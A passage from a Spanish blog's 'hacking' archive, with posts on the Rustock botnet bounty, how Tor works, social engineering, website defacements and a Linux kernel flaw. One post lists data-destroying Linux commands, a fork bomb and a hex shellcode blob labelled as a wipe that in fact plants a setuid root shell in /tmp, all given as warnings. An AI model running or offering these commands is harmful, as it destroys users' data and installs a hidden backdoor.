Mostrando entradas con la etiqueta hacking. Mostrar todas las entradas
Mostrando entradas con la etiqueta hacking. Mostrar todas las entradas

martes, 26 de julio de 2011

Ríndete y tendrás y juicio justo

Esta es una de las frases estereotipadas que se escuchaban en las películas de cowboys que se veían por televisión los sábados a la tarde en la década de los setenta (no es que lo recuerde sino que me lo contó mi abuelito). Hoy Microsoft ofrece 250 mil dólares para capturar a los responsables de Rustock un grupo de servidores que controlaba un millón de computadoras para el envío de spam.

Microsoft publicó un comunicado en su blog oficial en el que asegura que dará esa cantidad de dinero a quien facilite información que permita identificar y arrestar a los responsables de la red zombis, para que los culpables "rindan cuentas por sus acciones".

La red Rustock infectó alrededor de un millón de computadoras y consiguió la capacidad suficiente para enviar más de 30.000 millones de mensajes spam por día. Fue desactivada a mediados del mes de marzo de 2011.

Entiendo que una de las posibilidades para motivar a las personas para hacer cualquier cosa, incluido el dar indicios sobre quién o quienes hicieron determinada cosa, es ofrecer dinero; y lo acepto como algo propio de la sociedad en la que vivo desde que tengo memoria.

Lo que me preocupa es la aplicación de un mecanismo de estimulación- coerción tan primitivo a un problema que tiene muchas aristas, algunas de las cuales ni siquiera dejan huellas materiales. A lo que me estoy refiriendo es al hecho de que nos enfrentamos a situaciones donde las acciones fueron realizadas a través de computadoras, lo dificulta enormemente la comprobación fehaciente de la culpabilidad de las personas, debido a que es muy difícil comprobar el uso “físico” de una computadora por parte de un individuo sólo por medios técnicos y llegar a una conclusión de validez legal.

Tal vez a los culpables en lugar de quemarlos en una hoguera los ejecuten con microondas.

miércoles, 15 de diciembre de 2010

Como burlar los bloqueos y filtro de la red: TOR - Funcionamiento

En la anterior entrega de la serie, explicábamos los peligros que acechan a la Neutralidad de la red, y como programas como TOR combaten dichos peligros. Y aunque no fue más que una breve explicación de lo que pueden hacer personas interesadas en invadir la privacidad. Ser que muchos de ustedes se preguntaran como protegerse.

Solución #1

Parte de la solución, es implementar una red anónima distribuida




Programas como TOR, ayuda a reducir los riesgos de los ataques sostificados y sencillo de tráfico al distribuir las transacciones entre diferentes lugares de la red, logrando así que no exista un único punto de conexión al destino. La idea es muy parecida a cuando queremos despistar a alguien que nos esta siguiendo, para luego, paradojicamente borrar las huellas. En vez de seguir el camino directo entre el origen y el destino, TOR toman los paquete y los distribuye a través de su red de túneles virtuales de forma aleatoria, activando cierto relés para que un observador no pueda seguirnos la pista, ni descifrar hacia donde se dirigen y adonde van los paquetes realmente.




Para proteger la conexión, la red TOR, crea de de forma incremental una serie de conexiones encriptada a través de enlaces de red. El circuito se extiende un tramo a la vez, y cada repetido en el tramo solo conoce el repetidor que le proporciona el dato. Ningún repetidor individual conoce el tramo completo que un paquete ha tomado. El cliente negocia un conjunto distinto de claves de encriptación para cada tramo a lo largo del circuito para limpiar la huella digital de la transacción.




Una vez, que la conexión esta hecha, los datos son transportados por los túneles virtuales a través de las diferentes aplicaciones que usar el redireccionamiento proxy. Debido a que cada repetido solo ve, un tramo de la conexión, ni un espía, ni un repetidor intervenido (o con filtro) puede utilizar análisis de tráfico a los paquetes en la fuente y en el destino. 

TOR funciona con flujo del protocolo TCP y puede ser utilizado por cualquier aplicación que utilice SOCKS.


Conclusiones


Por eficiencia, el software de TOR utiliza la misma conexión durante 10 minutos aproximadamente, y despues de ese tiempo toma un nueva conexión para evitar que puedan asociar la primera conexión con las subsiguientes. 

Sin embargo, el funcionamiento de TOR esta basado en la capa de transporte de datos, por tanto hace necesario la utilización de software específicos para mantener un completo anonimato. Por ejemplo, puedes utilizar Proxy Web (como es el caso de Proxy) mientras navega para bloquear Cookies y ocultar información  sobre tu navegador

Otro punto a tomar en cuenta, es ser inteligente, mientras navegas de forma anónima y segura, evitar el utilizar datos relevantes en formularios web; ademas tenga en cuenta que, al utilizar este método puede verse reducido el tiempo de respuesta en la petición de página web.

Como burlar los bloqueos y filtro de la red: TOR - Introducción

En estos tiempos que vivimos, que las grandes compañías de Internet están aliadas con los gobiernos corruptos, y pueden coartar la neutralidad de la red. Debemos estar preparados ante la eventualidad de que bloqueen alguna web e inclusive algunas redes sociales a través de filtros.

De esa necesidad, nace TOR, que no es mas que una serie de túneles virtuales que permiten a las personas y grupos mejorar su privacidad y seguridad mientras navegan entre otros muchos usos (existen Desarrolladores que utilizando los túneles de TOR para crear nuevos medios de comunicación con la única finalidad de mejorar la privacidad).

Su principal uso, es evitar que sitios web lo rastreen, o para conectarse a sitios de noticias, servicios de mensajería instantáneas (Skype, Windows Live Messenger, etc) o similares cuando estos son bloqueados por un proveedor de servicios. También muchos periodistas utilizar TOR para comunicarse con sus confidentes y disidentes de manera segura. 

¿Por que utilizar TOR?

TOR fue diseñado para burlar lo que se conoce coloquialmente vigilancia electrónica, que no es mas que un análisis de tráfico. Un análisis de tráfico puede ser utilizado para deducir quien esta hablando de que en una red pública. Conocer el origen y el destino de un tráfico de red, sirve para hacer un rastreo de tu comportamiento e interés y conlleva a una violación a la privacidad y la neutralidad con la que originalmente fue diseñado y pensado la Internet pública. .

¿Como funciona un análisis de tráfico?

Todo aquellos que enviamos por Internet, se enviado a través de algo llamado paquetes de datos. Un paquete de dato esta compuesto de una cabecera y la carga de datos a enviar propiamente dicho. La carga de datos puede ser un correo electrónico, una página web, un archivo de audio, etc. Y aunque puede estar encriptado. El paquete propiamente dicho le dice mucho al análisis, ya que la cabecera revela el origen, el destino, tipo de dato y tiempo de duración del envió.

El principal problema de la privacidad en redes como Internet, es que el receptor debe mirar las cabeceras usada para volver a enrutar la información. El receptor puede ser un intermediario autorizado (como los proveedores de servicios), pero también puede existir intermediario no autorizados. 

Una forma muy común de análisis de tráfico es colocarse entre en emisor y el receptor, y mirar las cabeceras de los mensajes. Pero ahí personas que pueden hacer uso de potentes análisis de tráfico para detectar patrones de comportamiento de ciertos individuos u organizaciónes y la encriptación no sirve de nada ya que no es posible ocultar las cabeceras. 

Conclusiones

Como podemos apreciar, el burlar los bloqueos y filtro en la red no es nada fácil. Pero programas como TOR (considerado por mucho como el mejor) nos ayuda en gran medida. En la próxima entrada de esta serie, explicare como funciona y como instalarlo en Windows


Actualización



Como burlar los bloqueos y filtro de la red: TOR - Funcionamiento

jueves, 9 de diciembre de 2010

Ataques, Ingeniería Social y estupidez

Debido al revuelo mundial ante la detención consentida del dueño de Wikileaks, los ataques de cierta ala de la comunidad Hackers a las página web de Paypal, Mastercard, Amazon, entre otras que alojaban los dominios de Wikileaks, y la guerra informática que ha pasado a un primer plano. Me puse a pesar que la única constante era la estupidez humana.

No puedo dejar pasar esta oportunidad de recordar algunas frases de célebre pensadores:

Hay dos cosas infinitas: el Universo y la estupidez humana. Y del Universo no estoy seguro.
Albert Einstein (1879-1955) Científico alemán nacionalizado estadounidense.

Nada en el mundo es más peligroso que la ignorancia sincera y la estupidez concienzuda.
Martin Luther King (1929-1968) Religioso estadounidense.

Todos los cerebros del mundo son impotentes contra cualquier estupidez que esté de moda.
Jean de la Fontaine (1621-1695) Escritor y poeta francés.

Contra la estupidez, hasta los dioses luchan en vano.
Johann Wolfgang Goethe (1749-1832) Poeta y dramaturgo alemán.

La estupidez insiste siempre.
Albert Camus (1913-1960) Escritor francés.

La realidad es que es el Delito Informático, al menos en la mayoría de los países Latinoamericanos, según me comentan un experto en seguridad informática, no tiene nada de sofisticado desde el punto de vista técnico, sino que se basa en diferentes variantes del "cuento del tío" y en la creencia por parte de muchas personas que todo lo que llega por Internet es cierto, válido, veraz, etc. La parte que no llego a entender ni a asociar con alguna analogía es la necesidad de comunicar desde el color de la ropa interior que uno lleva puesta (en mi caso en particular boxers bicolor) hasta el punto de eliminar totalmente el concepto de privacidad.

Pero vamos por partes, hace tiempo conocí a una persona que creía en el orden y las instituciones. A veces venía y me comentaba algo que a mí me sonaba como "las vacas vuelan". Y como yo era un adolescente que, como tal, creía que lo sabía todo, le contestaba de manera despectiva que "es imposible que las vacas vuelen", a lo que mi amigo respondía: "pero si lo dice el diario". 

Hoy esta misma vivencia la tienen muchas personas sobre Internet, donde todo pareciera que es cierto, a tal punto que si les piden en un e-mail que les revelen una password lo hacen sin pensar y luego continúan alimentando la confusión diciendo "me hackearon mi casilla de pirulo-mail". No, nadie te "Hackeó" nada, cometiste la estupidez de comunicar la password por tu propia voluntad. Y esta es la base de la gran mayoría de los delitos informáticos que, en realidad, terminan siendo estafas en las cuales el canal de comunicación es el medio informático del delito.

Otra figura delictiva que aparece son las calumnias e injurias; este es el origen del 95 de las consultas cuando una persona promedio le pregunta a un experto informático: "¿Cómo puedo hacer para que periquito deje de leer mis e-mails y no envíe más mensajes con insultos a mis amigos?", o peor aún "¿Cómo hago para que periquita deje de hablar mal de mí en su blog y de publicar las fotos que le mandé en las que estoy disfrazado de bailarina clásica?".

Como se pueden imaginar, un Experto en Informática poco puede hacer con estas situaciones que no son, justamente, incidentes informáticos.

E insisto en que el tema que no puedo llegar a comprender es el de la privacidad. A nadie se le ocurriría colocar un pancarta al frente de su casa que diga "me voy de vacaciones del 2 al 20 de enero", pero seguramente escribirán en su "caralibro" u otro engendro que utilicen: "me voy de vacaciones a Brasil del 2 al 20 de enero con mi marido las nenas y el gato, vamos a Florianópolis a la posada Pelé en Playa Mariscal, pagamos sólo 80 dólares por noche, llevo mi biquini rosa y todos los días voy a subir una foto del plato de la cena".

Y para terminar, ¡que feo que estoy en la foto que anuncia este blog! urgente debo subir una otra de por lo menos diez años atrás.

lunes, 14 de diciembre de 2009

Comandos letales para Linux

Los usuarios de Linux siempre presumen de lo potente que es el intérprete de comandos, que les permite controlar nuestro sistema a su antojo y con una potencia que es muy difícil de lograr con un entorno gráfico. Sin embargo,“la potencia sin control no sirve de nada e incluso puede causar estragos".

A diferencia de otros sistemas operativos, en las distribuciones Linux hay comandos o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.

Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan que jamás se deben ejecutar estos comandos en una consola. ¡¡Quedan advertidos!!

1. Cualquiera de estos comandos borrará todo lo que tengáis en tu directorio personal, en la raíz o en el disco:

sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
loquesea > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null

2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:

dd if=/dev/random of=/dev/port
:(){:|:&};:
A esto último se le conoce como fork bomb

3. Comando que hace lo mismo que “rm -rf /”, pero a la inversa:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:

rm -f /usr/bin/sudo;rm -f /bin/su

martes, 17 de noviembre de 2009

Hackeada Pagina de la Secretaria de Desarrollo Rural de Puebla Mexico


Justo cuando me voy a acostar, mis amigos mexicanos me somprenden con esta noticia de hackeo a La página web de la Secretaría Rural de Puebla, cada vez ahi mas hackeo a paginas web del gobierno en Latinoamerica.

Actualizado 17/11/2009

La pagina fue hackeado hoy 17 de Noviembre de 2009, y a la 1am Hora Venezuela sigue hackeada

Aquí le dejo el enlace si la quieren ver, y mañana la subo a un servidor para que puedan conocer mas sobre los requerimientos de los protestantes


lunes, 16 de noviembre de 2009

Descubren un fallo crítico en Linux

Un desarrollador de software ha descubierto un fallo en la mayoría de las versiones de Linux que podría permitir a un usuarios obtener el control completo del sistema operativo de código abierto. Por el momento el fallo de referencia sólo se ha solucionado en el próximo kernel candidato 2.6.32, por lo que todas las versiones de Linux son vulnerables.

Aunque los ataques se pueden impedir implementando una característica común conocida como mmap_min_addr, la distribución Red Hat Enterprise Linux no implementa adecuadamente esta protección, según ha informado Brad Spengler, la persona que descubrió el fallo hace algunas semanas.

Es más, parece ser que la mayoría de los administradores se ven forzados a deshabilitar esta característica para que sus sistemas puedan ejecutar herramientas de desarrollo o entornos de escritorio como Wine, explican en The Register.

jueves, 27 de agosto de 2009

Gobierno en Línea Hackeada

Hoy a las 9:49pm, me acaba de llegar un rumor de que la pagina web del gobierno ha sido hackeada. Me entere a través de la comunidad Twitter.

Aquí les dejo las imágenes en donde se ve el hackeo

gobierno

gobierno hacker 2 

Por lo visto, los adjudicados por el hackeo de la pagina web http://www.gobiernoenlinea.ve es el grupo autodenominado RoOt-MaFia

Al momento de terminar de redactar esta nota, la pagina web con su hackeo no es posible verla

sábado, 15 de agosto de 2009

Hackeada Página Web de Inter

Hace poco estoy regresando del #beeroff organizado por la comunida Twitter de Barquisimeto, y cuando entro a dar mis agradecimiento, me encuentro con la noticia de que la página web de Intercable http://www.inter.com.ve, famoso operador de cable fue hackeada por un grupo autodenominado

Devils From Nowhere

Por ahora no ahi ninguna información al respecto, pero investigare a ver que podemos averiguar